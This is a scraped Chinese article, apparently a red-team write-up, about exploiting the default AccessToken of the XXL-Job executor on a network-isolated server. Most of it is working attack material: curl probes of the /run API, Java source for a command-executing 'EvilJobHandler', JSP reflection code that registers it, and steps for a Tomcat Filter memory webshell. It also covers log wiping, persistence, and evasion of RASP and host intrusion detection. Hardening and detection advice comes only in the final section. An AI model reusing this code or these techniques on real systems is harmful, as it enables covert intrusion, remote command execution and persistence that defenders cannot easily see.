当前位置: 首页 > news >正文

XXL-Job执行器默认AccessToken漏洞在不出网环境下的深度利用与防御

1. 项目概述:一次对调度系统安全边界的深度渗透

最近在内部的一次红蓝对抗演练中,我们遇到了一个非常典型的场景:目标系统部署了XXL-Job作为分布式任务调度中心,但执行器(Executor)所在的服务器处于严格的网络隔离环境,也就是我们常说的“不出网”或“内网隔离”环境。在这种限制下,传统的反弹Shell、远程下载文件等利用方式基本失效。然而,在对XXL-Job执行器默认配置进行审计时,我们发现了一个被广泛忽视但危害极大的安全问题——默认的、弱口令级别的AccessToken配置。这个发现,为我们打开了一条在不出网环境下实现权限维持的新路径。

XXL-Job是一个开源的分布式任务调度平台,其核心架构分为调度中心(Admin)和执行器(Executor)。执行器负责接收调度中心的指令并执行具体的JobHandler(任务处理器)。为了保障通信安全,XXL-Job设计了AccessToken机制,调度中心调用执行器时需携带此Token进行校验。问题恰恰出在这里:许多开发者和运维人员在部署时,会直接使用官方示例或默认配置,将执行器的AccessToken设置为像“default_token”这样简单、常见甚至为空的值。这就好比给家里的防盗门装了一把密码锁,却把密码贴在了门上。

在不出网场景下,攻击者一旦通过其他途径(如Web漏洞)获取了执行器所在服务器的权限,或者发现了未授权访问执行器API的入口,这个薄弱的AccessToken就成为了通往系统深处的钥匙。利用它,我们可以直接与执行器的内置HTTP API交互,无需依赖外部网络,实现命令执行、文件操作,并最终注入一个隐蔽的内存WebShell(内存马),实现持久的后渗透控制。接下来,我将详细拆解整个利用链的每一个环节,从漏洞原理到实操利用,再到内存马的构造与注入,并分享在此过程中积累的实战经验和避坑指南。

2. 漏洞原理与利用链深度解析

要理解这个漏洞的威力,必须首先吃透XXL-Job执行器的通信模型和安全边界。很多人认为执行器只是一个“干活”的组件,安全重心应该放在调度中心或Web界面上,这是一个严重的认知误区。

2.1 默认AccessToken的安全误区

XXL-Job的执行器在启动时,需要通过配置文件(如xxl-job-executor.properties)或启动参数设置xxl.job.accessToken。官方文档和示例中,为了快速启动演示,常常配置为:

xxl.job.accessToken=default_token

甚至有些匆忙上线的项目直接留空。调度中心调用执行器时,会在HTTP请求头中携带此Token:

POST /run HTTP/1.1 X-ACCESS-TOKEN: default_token ...

执行器端会校验收到的Token是否与自身配置一致。这里的风险是双重的:

  1. 弱Token可被爆破或猜测:“default_token”、“123456”、“xxl-job”等是攻击字典的常客。
  2. 空Token等于无认证:若配置为空,则任何知道执行器地址和端口的请求都能直接调用核心接口。

关键在于,这个认证是单向的。调度中心认证执行器注册时,执行器并不反向认证调度中心。因此,任何一个能够向执行器IP和端口发送HTTP请求的客户端,只要掌握了正确的AccessToken,就被执行器视为“合法的调度中心”,可以调用其所有功能。

2.2 执行器API接口的攻击面分析

执行器内置了一个HTTP服务(默认端口9999,基于Netty或Jetty),主要提供以下几个关键接口,这些接口共同构成了我们的攻击面:

接口路径方法功能描述攻击利用价值
/runPOST触发执行一个指定的JobHandler核心利用点。通过它执行我们自定义的恶意任务代码。
/idleBeatPOST检测执行器是否空闲信息收集,确认执行器状态和可用性。
/beatPOST心跳检测信息收集。
/logPOST查看任务执行日志信息收集,读取执行结果或敏感日志。

其中,/run接口是我们攻击的焦点。它的请求体是一个JSON,包含了要执行的任务的所有信息:

{ "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "test", "glueType": "BEAN" }
  • executorHandler: 指定要执行的JobHandler的名称。执行器内部维护着一个名为jobHandlerRepository的Map,存放了所有注册的Bean模式JobHandler。
  • glueType: 任务模式。BEAN模式表示执行一个已注册的Spring Bean;GLUE_XXX模式支持动态上传和执行代码(如GLUE_JAVA),但通常权限控制更严或默认关闭,我们优先利用更通用的BEAN模式。

攻击思路由此清晰:如果我们能向执行器注册一个恶意的JobHandler Bean,然后通过/run接口,以正确的AccessToken调用这个Handler,就能在目标JVM进程中执行任意代码。而且,这一切都发生在JVM内部,完全不需要与外界网络通信。

2.3 不出网环境的挑战与机遇

“不出网”意味着目标服务器无法主动发起对外部IP的TCP/UDP连接。这封死了以下常见手段:

  • 反弹TCP/UDP Shell到公网VPS。
  • 使用curl/wget下载远程二进制木马。
  • 利用DNS、HTTP、ICMP等协议进行数据外带(某些严格场景下)。

但这反而迫使攻击者进行更深入的利用。我们的利用链完全基于内存操作:

  1. 内存中查找与注入:利用Java的反射机制,在运行的JVM中动态查找、修改或注册Bean。
  2. 内存WebShell:注入的恶意代码直接在JVM内存中创建一个HTTP处理器,不落盘任何文件。
  3. 流量伪装:内存马的通信流量混杂在正常的XXL-Job执行器流量中,隐蔽性极高。

这种利用方式,摆脱了对文件系统和外部网络的依赖,是高级持久化威胁的典型手法。

3. 实战利用:从信息收集到恶意Handler注册

假设我们已经通过某种方式(如SSH弱口令、其他应用RCE)获得了目标服务器的一个Shell,或者发现了一个未授权访问的执行器端点。接下来,我们按步骤推进。

3.1 环境探测与AccessToken验证

首先,需要确认XXL-Job执行器的存在和详细信息。

步骤1:查找配置文件在服务器上,搜索包含“xxl.job”关键字的配置文件。

find / -name "*.properties" -o -name "*.yml" -o -name "*.yaml" 2>/dev/null | xargs grep -l "xxl.job" 2>/dev/null

或者检查应用目录、Spring Boot的application.properties/yml

步骤2:检查进程和网络端口

ps aux | grep xxl-job netstat -tlnp | grep -E ‘:(9999|7399)‘ # 默认端口9999,调度中心7399 lsof -i:9999

步骤3:验证AccessToken与API可达性如果我们找到了疑似Token(比如default_token),或者打算爆破,可以用curl直接测试。先测试接口是否存活:

curl -X POST http://目标IP:9999/beat

如果返回{“code”:200, “msg”:null}之类的,说明执行器服务正常。然后,带上可能的Token测试/run接口(用一个不存在的handler,看认证错误还是handler找不到错误):

curl -X POST http://目标IP:9999/run \ -H “X-ACCESS-TOKEN: default_token” \ -H “Content-Type: application/json” \ -d ‘{“jobId”:1,“executorHandler”:“notExist”,“executorParams”:“”,“glueType”:“BEAN”}‘
  • 如果返回{“code”:500, “msg”:“The access token is wrong.”},说明Token错误。
  • 如果返回{“code”:500, “msg”:“job handler [notExist] not found.”}恭喜,Token正确!这说明我们通过了认证,只是Handler不存在。

实操心得:在实际内网中,执行器端口可能被修改,也可能与业务应用共用端口(如部署在Spring Boot内,端口为8080)。关键在于找到X-ACCESS-TOKEN这个请求头。有时可以通过翻阅项目源码、历史部署脚本甚至运维文档来获取Token。

3.2 动态注册恶意JobHandler

这是整个利用链的技术核心。我们需要在目标JVM中,动态创建一个实现了IJobHandler接口的类,并将其注册到XXL-Job执行器的jobHandlerRepository中。

XXL-Job执行器在Spring容器启动时,会扫描所有@Component注解且实现了IJobHandler的Bean,自动注册。我们要做的是在运行时模拟这个过程。

步骤1:编写恶意JobHandler的Java代码我们需要一段能执行任意命令,并且能回显结果的代码。以下是一个高度精简且通用的恶意Handler示例:

import com.xxl.job.core.handler.IJobHandler; import com.xxl.job.core.context.XxlJobHelper; import java.io.BufferedReader; import java.io.InputStreamReader; public class EvilJobHandler extends IJobHandler { @Override public void execute() throws Exception { // 从任务参数中获取要执行的命令 String command = XxlJobHelper.getJobParam(); if (command == null || command.trim().isEmpty()) { XxlJobHelper.log(“No command provided.”); XxlJobHelper.handleFail(); return; } boolean isWindows = System.getProperty(“os.name”).toLowerCase().contains(“win”); String[] cmd = isWindows ? new String[]{“cmd”, “/c”, command} : new String[]{“/bin/sh”, “-c”, command}; Process process = Runtime.getRuntime().exec(cmd); StringBuilder output = new StringBuilder(); try (BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()))) { String line; while ((line = reader.readLine()) != null) { output.append(line).append(“\n”); } } int exitCode = process.waitFor(); // 将命令执行结果记录到XXL-Job日志,方便我们通过/log接口查看 XxlJobHelper.log(“Command: “ + command + “\nExitCode: “ + exitCode + “\nOutput:\n“ + output.toString()); if (exitCode == 0) { XxlJobHelper.handleSuccess(); } else { XxlJobHelper.handleFail(); } } }

这个Handler从任务参数中读取命令,执行后,将结果通过XxlJobHelper.log()写入XXL-Job的日志上下文。这样,我们就可以通过执行器的/log接口来读取命令执行结果,完美适配不出网环境。

步骤2:利用JSP/Java Agent或直接反射注入在不出网且有Shell的情况下,我们有几种方式将上面的代码加载到目标JVM:

  1. JSP文件写入(如果有Java Web应用):将上述Java类编译后的字节码,或者直接编写一个JSP脚本,利用Java反射机制在内存中定义类并注册。这是最常见的方式。
  2. Java Agent注入:如果条件允许,上传一个简单的Agent Jar,利用InstrumentationAPI进行类转换和注册,更为隐蔽和稳定。
  3. 直接通过现有RCE执行反射代码:如果我们已有的RCE点可以执行较长的Java代码,可以直接写一段反射代码来完成所有操作。

这里以通过JSP反射注入为例,展示核心过程。我们编写一个JSP,其核心功能是:

  • 使用URLClassLoaderdefineClass加载我们构造的EvilJobHandler类字节码。
  • 通过Spring上下文获取XxlJobExecutor实例。
  • 使用反射获取其内部的jobHandlerRepository(通常是一个ConcurrentHashMap)。
  • 将我们创建的EvilJobHandler实例放入这个Map,key为我们指定的名称,例如“cmdHandler”

由于代码较长,关键反射代码如下片段:

<% // 获取Spring上下文 WebApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(request.getSession().getServletContext()); // 获取名为 “xxlJobExecutor” 的Bean Object xxlJobExecutor = ctx.getBean(“xxlJobExecutor”); // 反射获取 jobHandlerRepository 字段 Field repoField = xxlJobExecutor.getClass().getDeclaredField(“jobHandlerRepository”); repoField.setAccessible(true); ConcurrentHashMap<String, IJobHandler> repository = (ConcurrentHashMap<String, IJobHandler>) repoField.get(xxlJobExecutor); // 创建我们恶意Handler的实例 IJobHandler evilHandler = new EvilJobHandler(); // 这里需要先定义或加载EvilJobHandler类 // 注册到仓库 repository.put(“cmdHandler”, evilHandler); out.println(“Evil JobHandler ‘cmdHandler’ registered successfully!”); %>

实际利用时,需要解决EvilJobHandler类的定义问题。我们可以将其Java源码字符串在内存中编译,或者直接构造其字节码。对于复杂情况,使用javassistasm库会更方便,但在不出网环境下,需要将这些库的Jar包一并上传或使用目标环境已有的。

避坑指南:不同版本的XXL-Job,其内部字段名和结构可能有细微差别。jobHandlerRepository字段在较新版本中可能存在。如果反射失败,需要分析目标版本的源码或使用Java反编译工具查看具体字段名。一个更稳健的方法是,直接遍历XxlJobExecutor对象的所有字段,找到那个Map<String, IJobHandler>类型的字段。

4. 内存马注入:构建无文件的后门

成功注册了恶意JobHandler,我们已经可以执行命令了。但这还不够“持久”和“隐蔽”。每次执行命令都需要通过XXL-Job的/run接口触发,并需要查看日志获取结果。我们希望有一个更直接的、像WebShell一样的交互方式。这就是内存马(内存WebShell)的价值所在。

内存马的本质,是在运行的Java Web应用(如Tomcat、Spring Boot)的内存中,动态注册一个新的Servlet、Filter、Controller或者Listener,使其能够处理特定的HTTP请求,从而提供一个隐藏的后门。它不写入任何文件,重启后失效,但隐蔽性极强。

4.1 基于Filter的内存马原理

在Java Web容器中,Filter(过滤器)可以拦截所有请求,是注入内存马的理想位置。我们的目标是:向当前Web应用的FilterChain中动态插入一个我们自定义的恶意Filter。

关键步骤:

  1. 获取当前应用的StandardContext:这是Tomcat的核心上下文对象,管理着所有的Servlet和Filter。
  2. 创建恶意Filter类和实例:这个Filter会检查请求中是否包含特定的密码参数(如?cmd=whoami&pwd=secret)。
  3. 将Filter添加到FilterDef并注册到StandardContext
  4. 创建FilterMap,将我们的Filter映射到某个URL模式(如/*拦截所有请求,或者/xxladmin/*这样更隐蔽的路径)。
  5. FilterMap添加到StandardContext的过滤器映射链的首位,确保优先执行

4.2 通过恶意JobHandler注入内存马

现在,我们将这两部分结合起来。我们之前注册的cmdHandler可以用来执行一段复杂的Java反射代码,这段代码的功能就是注入一个Filter内存马。

我们改造一下EvilJobHandlerexecute方法,使其支持两种模式:

  • 模式一:直接执行系统命令并回显(基础功能)。
  • 模式二:执行一段特殊的“安装内存马”指令。

当我们在/run接口的executorParams中传递一段特定的启动指令时,Handler会执行注入内存马的代码。注入成功后,我们就拥有了一个独立的、隐蔽的Web后门,可以直接通过HTTP请求与目标交互,不再依赖XXL-Job的日志接口。

注入内存马的Java反射代码非常复杂,涉及到对Tomcat内部API的深度操作。这里给出一个概念性的步骤描述:

  1. 获取当前线程的WebappClassLoader
  2. 通过Thread.currentThread().getContextClassLoader()获取ApplicationContext
  3. 使用反射层层深入,获取到StandardContext对象。这是最复杂且版本兼容性最差的一步,不同Tomcat版本路径不同。
  4. 定义恶意Filter类。通常使用字节码技术动态生成一个实现了javax.servlet.Filter接口的类。这个类的doFilter方法会检查请求参数,匹配则执行命令并回写响应。
  5. 实例化Filter并创建FilterDef
  6. FilterDef加入StandardContext
  7. 创建FilterMap并设置映射关系,将其插入到Filter链前端。
  8. 通知StandardContext重新加载过滤器

核心难点与经验:内存马注入的成功率高度依赖目标Web容器的具体版本(Tomcat 7/8/9/10, Jetty, Undertow)和Spring Boot的内嵌方式。在实战中,我通常会准备多个针对不同版本的注入代码片段。一种更稳妥的方法是,先利用cmdHandler执行一个探测命令,收集环境信息(如java -version, 查找catalina.home, 检查ServletContext属性等),再决定使用哪一套注入代码。

4.3 内存马的通信与使用

假设我们成功注入了一个Filter内存马,映射到了/*路径,并设置了连接密码pwd=secret123。那么后续的利用就变得非常简单和直接:

# 直接通过HTTP请求执行命令,结果直接返回在HTTP响应体中 curl “http://目标IP:应用端口/any/path?pwd=secret123&cmd=whoami”

这种方式:

  • 无文件:所有操作在内存中完成,psls等命令找不到可疑进程或文件。
  • 高隐蔽:流量混合在大量正常的HTTP业务请求中,除非对流量进行深度内容审计并匹配特定参数,否则很难发现。
  • 功能强大:可以在这个Filter中集成文件管理、代理转发、端口扫描等复杂功能。

5. 痕迹清理与防御规避实践

在红队行动中,利用之后清理痕迹和保护持久化后门同样重要。针对这条利用链,我们需要关注以下几点:

5.1 清理XXL-Job日志

通过/run接口执行命令后,命令和结果会记录在XXL-Job的日志中。虽然这些日志通常存储在数据库或本地文件,不出网环境下外部难以查看,但内部的安全运维人员或HIDS(主机入侵检测系统)可能会扫描。我们的恶意JobHandler在执行完命令后,可以尝试自动清理本次触发的日志记录。

这需要再次反射调用XXL-Job的日志服务接口。更简单粗暴的方法是,在注册恶意Handler时,同时注册一个“日志清理”Handler,定期清理包含特定关键词的日志。但要注意,过度清理或规律性的清理行为本身可能成为异常点。

5.2 内存马的自我保护

注入到StandardContext中的Filter定义,在应用重启后会消失。为了维持权限,有几种思路:

  1. 挂钩到持久化存储:将内存马的字节码或启动指令,以加密形式写入数据库的某个隐蔽字段、配置文件注释或缓存的Value中。当应用重启后,通过另一个入口(如另一个未修复的漏洞)触发一段代码,从持久化存储中读取并重新注入。这实现了“无文件持久化”。
  2. 利用计划任务:在操作系统中植入一个计划任务(crontab或Windows Task),定期检测内存马是否存在,不存在则重新利用XXL-Job漏洞注入。但这涉及到文件操作,增加了暴露风险。
  3. 驻留在其他内存对象中:更高级的技术尝试将恶意代码驻留在JVM的某些“长寿”对象中,但实现复杂,稳定性差。

在不出网且防守严格的环境下,“低频率、高价值”的使用原则是关键。不要频繁使用后门,每次使用后尽量清理本次产生的日志和进程记录。

5.3 对抗安全检测

  1. 对抗RASP/IAST:运行时应用安全保护可能会检测到危险的反射调用(如defineClassgetDeclaredField并setAccessible)。可以通过更迂回的方式,或者利用已存在的、白名单内的类加载器来加载恶意类。
  2. 对抗HIDS:执行命令时会创建子进程。可以优先使用纯Java实现的命令(如遍历文件目录用java.nio.file.Files而非Runtime.exec(“ls”)),避免触发进程创建告警。
  3. 流量混淆:内存马的参数可以使用编码(如Base64)、加密,甚至伪装成正常的业务参数。

6. 防御建议与修复方案

从防御者视角看,如何避免和发现此类利用?

6.1 安全配置加固

  1. 强制使用强AccessToken:将AccessToken视为重要密码,使用足够长度(16位以上)且随机的字符串,并定期更换。切勿使用默认值或空值。
  2. 网络访问控制:严格限制执行器端口的访问来源。只允许调度中心IP访问执行器的API端口(默认9999)。使用防火墙或安全组策略实现最小化网络暴露。
  3. 调度中心安全:调度中心的管理界面同样需要强密码认证,并避免暴露在公网。
  4. 定期升级:关注XXL-Job官方安全更新,及时升级到最新版本。

6.2 入侵检测与响应

  1. 监控异常JobHandler注册:可以增强XXL-Job执行器源码,在jobHandlerRepositoryput方法增加日志告警,记录非应用启动阶段的Handler注册行为。
  2. 日志审计:密切关注XXL-Job调度日志中,是否存在来源IP异常、执行参数异常(如包含bashpowershellcurl等命令片段)的任务执行记录。
  3. 主机层监控:监控Java进程是否通过Runtime.execProcessBuilder启动了异常子进程。监控9999等执行器端口上的异常HTTP请求模式。
  4. 内存马检测:使用专业的内存马检测工具或脚本,定期扫描运行中的Java应用,检查是否存在未知的Servlet、Filter或Controller。可以对比StandardContext中的Filter定义与web.xml或注解声明是否一致。

6.3 架构层面思考

对于安全性要求极高的场景,可以考虑:

  • 将执行器部署在独立的、网络策略极其严格的环境中。
  • 考虑使用更安全的任务调度平台,或者对XXL-Job进行深度定制,增加二次认证、执行签名等机制。
  • 建立完善的DevSecOps流程,在CI/CD环节对应用配置(包括AccessToken)进行安全扫描和硬编码检查。

这次对XXL-Job执行器默认AccessToken漏洞的利用实践,再次印证了一个道理:安全是一个整体,最薄弱的环节往往出现在那些被认为“只是内部组件”、“默认配置没问题”的地方。不出网环境也绝非安全的保险箱,它只是将攻击者的战场从网络层转移到了系统层和应用内存层,对抗的难度和精细度要求反而更高。作为防御方,必须摒弃“内网就是安全的”旧观念,实行全面的纵深防御策略。

http://www.gsyq.cn/news/1643477.html

相关文章:

  • Linux上运行Windows软件与游戏的终极解决方案:Bottles完整指南
  • DIP封装转面包板:从2.54mm标准到7.62mm间距的5种适配方案解析
  • 如何快速将音频转文字:AsrTools智能语音识别终极指南
  • 故障复盘——让失败“变成财富“
  • Apriori 算法 Python 实战:mlxtend 库处理 9835 条购物篮数据,挖掘 26 条强规则
  • GAIL 2016 算法实战:PyTorch 复现 9 个 Gym 任务,3 种基线对比
  • Java Web上传文件到指定目录?这招秒传逻辑绝了,调试爽到飞起
  • WarcraftHelper:魔兽争霸3终极优化插件,一站式解决现代电脑兼容性问题
  • 位置编码外推实战:从BERT 512到26万token的3种延拓策略
  • 解锁你的AI工作站:Chatbox桌面助手让智能对话触手可及
  • iOS系统更新真伪鉴别方法论:从版本号到固件签名的全链路验证
  • 语义分割数据预处理全解析:MSRC2 数据集 22 类颜色映射与 PyTorch Dataset 构建
  • 【船舶航线】基于遗传算法求解船舶航线问题,目标函数:最低成本附Matlab代码
  • Linux打印机兼容性终极解决方案:foo2zjs驱动套件全面解析
  • SMD/SMAP/MSL/SWaT/WADI 5大异常检测数据集:Python 3步标准化处理与格式统一
  • 3步颠覆性数据自主方案:如何让微信对话成为你的个人数字资产
  • Halcon 一维测量实战:3步配置矩形ROI,实现IC引脚间距0.1像素精度检测
  • 3步掌握NBTExplorer:免费Minecraft数据编辑器的终极使用指南 [特殊字符]
  • Service Mesh 策略治理:配置多了,也会变成事故源
  • 庞特里亚金最大值原理 5步实战:从哈密顿函数到最优控制信号求解
  • 信号完整性SI实战:5种常见问题(反射/串扰/地弹)的PCB层叠与端接方案设计
  • 差分阻抗设计实战:从100Ω到90Ω,线距变化如何影响4种阻抗值(附仿真对比)
  • PCF8591与PIC24FV16KA302的I2C信号处理方案
  • 机械设计公差标注实战:轴承/齿轮/皮带轮5类配合公差等级选用指南
  • Cartographer ROS Noetic 仿真建图实战:Gazebo+Rviz 完整流程与 3 个关键配置文件解析
  • 欢迎来到我的技术分享
  • RTVS 1.3.0 阿里云 CentOS 7.8 部署:5个关键端口映射与 Docker 网络配置详解
  • tqdm.notebook 在 JupyterLab 4.x 中的 3 种配置方案与常见问题修复
  • 3分钟永久告别IDM激活弹窗:开源脚本让下载管理无忧
  • TRAE 完全指南:字节跳动的“AI 原生 IDE”进化论